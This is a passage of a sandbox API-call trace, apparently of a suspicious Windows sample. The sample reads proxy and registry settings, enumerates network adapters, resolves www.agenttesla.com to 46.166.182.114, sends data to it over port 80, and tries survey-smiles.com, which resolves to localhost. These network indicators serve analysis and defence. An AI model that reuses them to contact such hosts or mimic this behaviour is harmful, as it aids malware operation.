FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x887768, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0130.484] GetLastError () returned 0x2733 [0130.485] WSAEventSelect (s=0x3b8, hEventObject=0x3bc, lNetworkEvents=512) returned 0 [0130.485] GetLastError () returned 0x0 [0130.485] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3c0 [0130.485] GetLastError () returned 0x0 [0130.486] RasConnectionNotificationW (param_1=0xffffffff, param_2=0x3c0, param_3=0x3) returned 0x0 [0130.491] RegOpenCurrentUser (in: samDesired=0x20019, phkResult=0x1dee64 | out: phkResult=0x1dee64*=0x3d8) returned 0x0 [0130.491] GetLastError () returned 0x0 [0130.492] RegOpenKeyExW (in: hKey=0x3d8, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x1dee20 | out: phkResult=0x1dee20*=0x3dc) returned 0x0 [0130.492] GetLastError () returned 0x0 [0130.492] RegNotifyChangeKeyValue (hKey=0x3dc, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x3e0, fAsynchronous=1) returned 0x0 [0130.492] GetLastError () returned 0x0 [0130.493] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x1dee20 | out: phkResult=0x1dee20*=0x3e4) returned 0x0 [0130.494] GetLastError () returned 0x0 [0130.494] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3e8 [0130.494] GetLastError () returned 0x0 [0130.494] RegNotifyChangeKeyValue (hKey=0x3e4, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x3e8, fAsynchronous=1) returned 0x0 [0130.494] GetLastError () returned 0x0 [0130.494] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x1dee20 | out: phkResult=0x1dee20*=0x3ec) returned 0x0 [0130.494] GetLastError () returned 0x0 [0130.494] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3f0 [0130.494] GetLastError () returned 0x0 [0130.494] RegNotifyChangeKeyValue (hKey=0x3ec, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x3f0, fAsynchronous=1) returned 0x0 [0130.494] GetLastError () returned 0x0 [0130.494] GetCurrentProcess () returned 0xffffffff [0130.495] GetLastError () returned 0x3f0 [0130.495] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x1dee08 | out: TokenHandle=0x1dee08*=0x3f4) returned 1 [0130.495] GetLastError () returned 0x3f0 [0130.497] GetCurrentProcess () returned 0xffffffff [0130.497] GetLastError () returned 0x3f0 [0130.497] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x1dea24 | out: TokenHandle=0x1dea24*=0x3f8) returned 1 [0130.497] GetLastError () returned 0x3f0 [0130.498] GetCurrentProcess () returned 0xffffffff [0130.498] GetLastError () returned 0x3f0 [0130.498] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x1dea34 | out: TokenHandle=0x1dea34*=0x3fc) returned 1 [0130.498] GetLastError () returned 0x3f0 [0130.541] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x887768 | out: pProxyConfig=0x887768) returned 1 [0130.620] GetLastError () returned 0x0 [0130.632] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x1dedc4*=0x3c0, lpdwindex=0x1deb7c | out: lpdwindex=0x1deb7c) returned 0x80010115 [0130.635] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x1deda4*=0x3b4, lpdwindex=0x1deb5c | out: lpdwindex=0x1deb5c) returned 0x80010115 [0130.635] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x1deda4*=0x3bc, lpdwindex=0x1deb5c | out: lpdwindex=0x1deb5c) returned 0x80010115 [0130.635] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x1dedf8*=0x3e0, lpdwindex=0x1debb0 | out: lpdwindex=0x1debb0) returned 0x80010115 [0130.636] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x1dedf8*=0x3e8, lpdwindex=0x1debb0 | out: lpdwindex=0x1debb0) returned 0x80010115 [0130.636] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x1dedf8*=0x3f0, lpdwindex=0x1debb0 | out: lpdwindex=0x1debb0) returned 0x80010115 [0130.640] WinHttpDetectAutoProxyConfigUrl (in: dwAutoDetectFlags=0x1, ppwstrAutoConfigUrl=0x1dede4 | out: ppwstrAutoConfigUrl=0x1dede4*=0x0) returned 0 [0141.957] GetLastError () returned 0x2f94 [0141.959] WinHttpDetectAutoProxyConfigUrl (in: dwAutoDetectFlags=0x2, ppwstrAutoConfigUrl=0x1dede4 | out: ppwstrAutoConfigUrl=0x1dede4*=0x0) returned 0 [0144.592] GetLastError () returned 0x2f94 [0144.601] GetCurrentProcess () returned 0xffffffff [0144.601] GetLastError () returned 0x3f0 [0144.601] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x1dea84 | out: TokenHandle=0x1dea84*=0x44c) returned 1 [0144.601] GetLastError () returned 0x3f0 [0144.603] GetCurrentProcess () returned 0xffffffff [0144.603] GetLastError () returned 0x3f0 [0144.603] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x1dea94 | out: TokenHandle=0x1dea94*=0x430) returned 1 [0144.603] GetLastError () returned 0x3f0 [0144.615] GetACP () returned 0x4e4 [0144.640] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x1dede4 | out: pFixedInfo=0x0, pOutBufLen=0x1dede4) returned 0x6f [0144.662] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x906b98 [0144.662] GetLastError () returned 0x0 [0144.662] GetNetworkParams (in: pFixedInfo=0x906b98, pOutBufLen=0x1dede4 | out: pFixedInfo=0x906b98, pOutBufLen=0x1dede4) returned 0x0 [0144.677] inet_addr (cp="192.168.0.1") returned 0x100a8c0 [0144.677] GetLastError () returned 0x0 [0144.679] LocalFree (hMem=0x906b98) returned 0x0 [0144.679] GetLastError () returned 0x0 [0144.682] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x470 [0144.682] GetLastError () returned 0x0 [0144.683] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x46c [0144.683] GetLastError () returned 0x0 [0144.686] getaddrinfo (in: pNodeName="www.agenttesla.com", pServiceName=0x0, pHints=0x1decc0*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dea54 | out: ppResult=0x1dea54*=0x4d849a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="www.agenttesla.com", ai_addr=0x4d849c8*(sa_family=2, sin_port=0x0, sin_addr="46.166.182.114"), ai_next=0x0)) returned 0 [0144.705] GetLastError () returned 0x0 [0144.706] FreeAddrInfoW (pAddrInfo=0x4d849a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="睷⹷条湥瑴獥慬挮浯", ai_addr=0x4d849c8*(sa_family=2, sin_port=0x0, sin_addr="46.166.182.114"), ai_next=0x0)) [0144.706] GetLastError () returned 0x0 [0144.706] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x474 [0144.707] GetLastError () returned 0x0 [0144.707] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x480 [0144.707] GetLastError () returned 0x0 [0144.707] ioctlsocket (in: s=0x474, cmd=-2147195266, argp=0x1deca4 | out: argp=0x1deca4) returned 0 [0144.707] GetLastError () returned 0x0 [0144.707] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x484 [0144.707] GetLastError () returned 0x0 [0144.707] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x488 [0144.707] GetLastError () returned 0x0 [0144.707] ioctlsocket (in: s=0x484, cmd=-2147195266, argp=0x1deca4 | out: argp=0x1deca4) returned 0 [0144.707] GetLastError () returned 0x0 [0144.707] WSAIoctl (in: s=0x474, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1dec88, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1dec88, lpOverlapped=0x0) returned -1 [0144.708] GetLastError () returned 0x2733 [0144.708] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x887768, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0144.708] GetLastError () returned 0x2733 [0144.708] WSAEventSelect (s=0x474, hEventObject=0x480, lNetworkEvents=512) returned 0 [0144.708] GetLastError () returned 0x0 [0144.708] WSAIoctl (in: s=0x484, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1dec88, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1dec88, lpOverlapped=0x0) returned -1 [0144.708] GetLastError () returned 0x2733 [0144.708] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x887768, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0144.708] GetLastError () returned 0x2733 [0144.708] WSAEventSelect (s=0x484, hEventObject=0x488, lNetworkEvents=512) returned 0 [0144.708] GetLastError () returned 0x0 [0144.709] GetAdaptersAddresses () returned 0x6f [0144.714] LocalAlloc (uFlags=0x0, uBytes=0xa54) returned 0x907c80 [0144.714] GetLastError () returned 0x0 [0144.714] GetAdaptersAddresses () returned 0x0 [0144.721] LocalFree (hMem=0x907c80) returned 0x0 [0144.721] GetLastError () returned 0x0 [0144.724] WSAConnect (in: s=0x470, name=0x272f368*(sa_family=2, sin_port=0x50, sin_addr="46.166.182.114"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0144.748] GetLastError () returned 0x0 [0144.749] closesocket (s=0x46c) returned 0 [0144.749] GetLastError () returned 0x0 [0144.751] send (s=0x470, buf=0x2730084*, len=287, flags=0) returned 287 [0144.752] GetLastError () returned 0x0 [0144.752] select (in: nfds=0, readfds=0x2731340, writefds=0x0, exceptfds=0x0, timeout=0x1decc8 | out: readfds=0x2731340, writefds=0x0, exceptfds=0x0) returned 1 [0144.797] GetLastError () returned 0x0 [0144.798] setsockopt (s=0x470, level=65535, optname=4102, optval="\xa0\x86\x01", optlen=4) returned 0 [0144.798] GetLastError () returned 0x0 [0144.798] recv (in: s=0x470, buf=0x272c4fc, len=4096, flags=0 | out: buf=0x272c4fc*) returned 367 [0144.798] GetLastError () returned 0x0 [0144.806] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x1deb4c*=0x3c0, lpdwindex=0x1de904 | out: lpdwindex=0x1de904) returned 0x80010115 [0144.806] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x1deb2c*=0x3b4, lpdwindex=0x1de8e4 | out: lpdwindex=0x1de8e4) returned 0x80010115 [0144.806] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x1deb2c*=0x3bc, lpdwindex=0x1de8e4 | out: lpdwindex=0x1de8e4) returned 0x80010115 [0144.807] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x1deb80*=0x3e0, lpdwindex=0x1de938 | out: lpdwindex=0x1de938) returned 0x80010115 [0144.807] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x1deb80*=0x3e8, lpdwindex=0x1de938 | out: lpdwindex=0x1de938) returned 0x80010115 [0144.807] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x1deb80*=0x3f0, lpdwindex=0x1de938 | out: lpdwindex=0x1de938) returned 0x80010115 [0144.810] shutdown (s=0x470, how=2) returned 0 [0144.810] GetLastError () returned 0x0 [0144.810] closesocket (s=0x470) returned 0 [0144.810] GetLastError () returned 0x0 [0144.811] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x470 [0144.811] GetLastError () returned 0x0 [0144.811] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x46c [0144.811] GetLastError () returned 0x0 [0144.811] getaddrinfo (in: pNodeName="survey-smiles.com", pServiceName=0x0, pHints=0x1decbc*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dea50 | out: ppResult=0x1dea50*=0x4d84a38*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="survey-smiles.com", ai_addr=0x4d84a60*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), ai_next=0x0)) returned 0 [0144.822] GetLastError () returned 0x0 [0144.822] FreeAddrInfoW (pAddrInfo=0x4d84a38*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="畳癲祥猭業敬⹳潣mӘ䧈Ә葳츸➙", ai_addr=0x4d84a60*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), ai_next=0x0)) [0144.822] GetLastError () returned 0x0 [0144.822] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x1dec24*=0x480, lpdwindex=0x1de9dc | out: lpdwindex=0x1de9dc) returned 0x80010115 [0144.823] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x1dec24*=0x488, lpdwindex=0x1de9dc | out: lpdwindex=0x1de9dc) returned 0x80010115 [0144.823] WSAConnect (in: s=0x470, name=0x27341b8*(sa_family=2, sin_port=0x50, sin_addr="127.0.0.1"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1 [0145.854] GetLastError () returned 0x274d [0145.855] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274d, dwLanguageId=0x0, lpBuffer=0x887768, nSize=0x101, Arguments=0x0 | out: lpBuffer="No connection could be made because the target machine actively refused it.\r\n") returned 0x4d [0145.855] GetLastError () returned 0x274d [0145.916] setsockopt (s=0x470, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0145.916] GetLastError () returned 0x0 [0145.916] closesocket (s=0x470) returned 0 [0145.918] GetLastError () returned 0x0 [0145.918] setsockopt (s=0x46c, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0145.918] GetLastError () returned 0x0 [0145.918] closesocket (s=0x46c) returned 0 [0145.919] GetLastError () returned 0x0 [0145.955] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x1dedb4*=0x3c0, lpdwindex=0x1deb6c | out: lpdwindex=0x1deb6c) returned 0x80010115 [0145.956] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x1ded94*=0x3b4, lpdwindex=0x1deb4c | out: lpdwindex=0x1deb4c) returned 0x80010115 [0145.956] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x1ded94*=0x3bc, lpdwindex=0x1deb4c | out: lpdwindex=0x1deb4c) returned 0x80010115 [0145.956] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x1dede8*=0x3e0, lpdwindex=0x1deba0 | out: lpdwindex=0x1deba0) returned 0x80010115 [0145.956] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x1dede8*=0x3e8, lpdwindex=0x1deba0 | out: lpdwindex=0x1deba0) returned 0x80010115 [0145.956] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x1dede8*=0x3f0, lpdwindex=0x1deba0 | out: lpdwindex=0x1deba0) returned 0x80010115 [0145.958] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x46c [0145.958] GetLastError () returned 0x0 [0145.958] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x470 [0145.959] GetLastError () returned 0x0 [0145.959] WSAConnect (in: s=0x46c, name=0x2748780*(sa_family=2, sin_port=0x50, sin_addr="46.166.182.114"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0145.982] GetLastError () returned 0x0 [0145.983] closesocket (s=0x470) returned 0 [0145.983] GetLastError () returned 0x0 [0145.983] send (s=0x46c, buf=0x27490d4*, len=263, flags=0) returned 263 [0145.983] GetLastError () returned 0x0 [0145.983] select (in: nfds=0, readfds=0x27491e8, writefds=0x0, exceptfds=0x0, timeout=0x1decb8 | out: readfds=0x27491e8, writefds=0x0, exceptfds=0x0) returned 1 [0146.019] GetLastError () returned 0x0 [0146.019] setsockopt (s=0x46c, level=65535, optname=4102, optval="\xa0\x86\x01", optlen=4) returned 0 [0146.019] GetLastError () returned 0x0 [0146.020] recv (in: s=0x46c, buf=0x274752c, len=4096, flags=0 | out: buf=0x274752c*) returned 367 [0146.020] GetLastError () returned 0x0 [0146.020] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x1deb3c*=0x3c0, lpdwindex=0x1de8f4 | out: lpdwindex=0x1de8f4) returned 0x80010115 [0146.020] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x1deb1c*=0x3b4, lpdwindex=0x1de8d4 | out: lpdwindex=0x1de8d4) returned 0x80010115 [0146.021] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x1deb1c*=0x3bc, lpdwindex=0x1de8d4 | out: lpdwindex=0x1de8d4) returned 0x80010115 [0146.021] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x1deb70*=0x3e0, lpdwindex=0x1de928 | out: lpdwindex=0x1de928) returned 0x80010115 [0146.021] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x1deb70*=0x3e8, lpdwindex=0x1de928 | out: lpdwindex=0x1de928) returned 0x80010115 [0146.021] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x1deb70*=0x3f0, lpdwindex=0x1de928 | out: lpdwindex=0x1de928) returned 0x80010115 [0146.021] shutdown (s=0x46c, how=2) returned 0 [0146.022] GetLastError () returned 0x0 [0146.022] closesocket (s=0x46c) returned 0 [0146.022] GetLastError () returned 0x0 [0146.022] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x46c [0146.022] GetLastError () returned 0x0 [0146.022] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x470 [0146.023] GetLastError () returned 0x0 [0146.023] WSAConnect (s=0x46c, name=0x274b2e8*(sa_family=2, sin_port=0x50, sin_addr="127.0.0.1"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0) Thread: id = 137 os_tid = 0x728 Thread: id = 138 os_tid = 0x72c [0117.234] CoGetContextToken (in: pToken=0xf6f378 | out: pToken=0xf6f378) returned 0x800401f0 [0117.235] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 141 os_tid = 0x7b8 Thread: id = 142 os_tid = 0x7c4 Thread: id = 143 os_tid = 0x7c8 Thread: id = 144 os_tid = 0x7cc Thread: id = 192 os_tid = 0x5fc [0126.992] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0127.044] IIDFromString (in: lpsz="{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}", lpiid=0x530f384 | out: lpiid=0x530f384) returned 0x0 [0127.045] CoGetClassObject (in: rclsid=0x8cc274*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x74a9a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x530f2ec | out: ppv=0x530f2ec*=0x506fd00) returned 0x0 [0127.045] WbemDefPath:IUnknown:QueryInterface (in: This=0x506fd00, riid=0x74b87ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x530f11c | out: ppvObject=0x530f11c*=0x0) returned 0x80004002 [0127.046] WbemDefPath:IClassFactory:CreateInstance (in: This=0x506fd00, pUnkOuter=0x0, riid=0x74b17714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x530f154 | out: ppvObject=0x530f154*=0x506fd10) returned 0x0 [0127.046] WbemDefPath:IUnknown:QueryInterface (in: This=0x506fd10, riid=0x74b17714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x530eef8 | out: ppvObject=0x530eef8*=0x506fd10) returned 0x0 [0127.046] WbemDefPath:IUnknown:QueryInterface (in: This=0x506fd10, riid=0x74b34204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x530eeb4 | out: ppvObject=0x530eeb4*=0x0) returned 0x80004002 [0127.046] WbemDefPath:IUnknown:AddRef (This=0x506fd10) returned 0x3 [0127.046] CoGetContextToken (in: pToken=0x530ed40 | out: pToken=0x530ed40) returned 0x0 [0127.046] CoGetObjectContext (in: riid=0x74b17714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x8a4b34 | out: ppv=0x8a4b34*=0x879540) returned 0x0 [0127.048] WbemDefPath:IUnknown:QueryInterface (in: This=0x506fd10, riid=0x74a123cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x530ed28 | out: ppvObject=0x530ed28*=0x8b1528) returned 0x0 [0127.048] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x8b1528, riid=0x74b17714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x530ed30 | out: pCid=0x530ed30*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.048] WbemDefPath:IUnknown:Release (This=0x8b1528) returned 0x3 [0127.049] CoGetContextToken (in: pToken=0x530ed38 | out: pToken=0x530ed38) returned 0x0 [0127.049] WbemDefPath:IUnknown:AddRef (This=0x506fd10) returned 0x4 [0127.049] WbemDefPath:IUnknown:QueryInterface (in: This=0x506fd10, riid=0x74a6767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x530edac | out: ppvObject=0x530edac*=0x0) returned 0x80004002 [0127.049] WbemDefPath:IUnknown:Release (This=0x506fd10) returned 0x3 [0127.049] WbemDefPath:IUnknown:Release (This=0x506fd10) returned 0x2 [0127.049] WbemDefPath:IUnknown:Release (This=0x506fd00) returned 0x0 [0127.049] WbemDefPath:IUnknown:Release (This=0x506fd10) returned 0x1 [0127.050] SetEvent (hEvent=0x27c) returned 1 [0127.051] GetLastError () returned 0x0 [0127.051] CoGetClassObject (in: rclsid=0x8cc274*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x74a9a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x530f2ec | out: ppv=0x530f2ec*=0x506fd00) returned 0x0 [0127.052] WbemDefPath:IUnknown:QueryInterface (in: This=0x506fd00, riid=0x74b87ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x530f11c | out: ppvObject=0x530f11c*=0x0) returned 0x80004002 [0127.052] WbemDefPath:IClassFactory:CreateInstance (in: This=0x506fd00, pUnkOuter=0x0, riid=0x74b17714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x530f154 | out: ppvObject=0x530f154*=0x506fda8) returned 0x0 [0127.052] WbemDefPath:IUnknown:QueryInterface (in: This=0x506fda8, riid=0x74b17714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x530eef8 | out: ppvObject=0x530eef8*=0x506fda8) returned 0x0 [0127.052] WbemDefPath:IUnknown:QueryInterface (in: This=0x506fda8, riid=0x74b34204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x530eeb4 | out: ppvObject=0x530eeb4*=0x0) returned 0x80004002 [0127.052] WbemDefPath:IUnknown:AddRef (This=0x506fda8) returned 0x3 [0127.052] CoGetContextToken (in: pToken=0x530ed40 | out: pToken=0x530ed40) returned 0x0 [0127.052] WbemDefPath:IUnknown:QueryInterface (in: This=0x506fda8, riid=0x74a123cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x530ed28 | out: ppvObject=0x530ed28*=0x8b1418) returned 0x0 [0127.052] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x8b1418, riid=0x74b17714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x530ed30 | out: 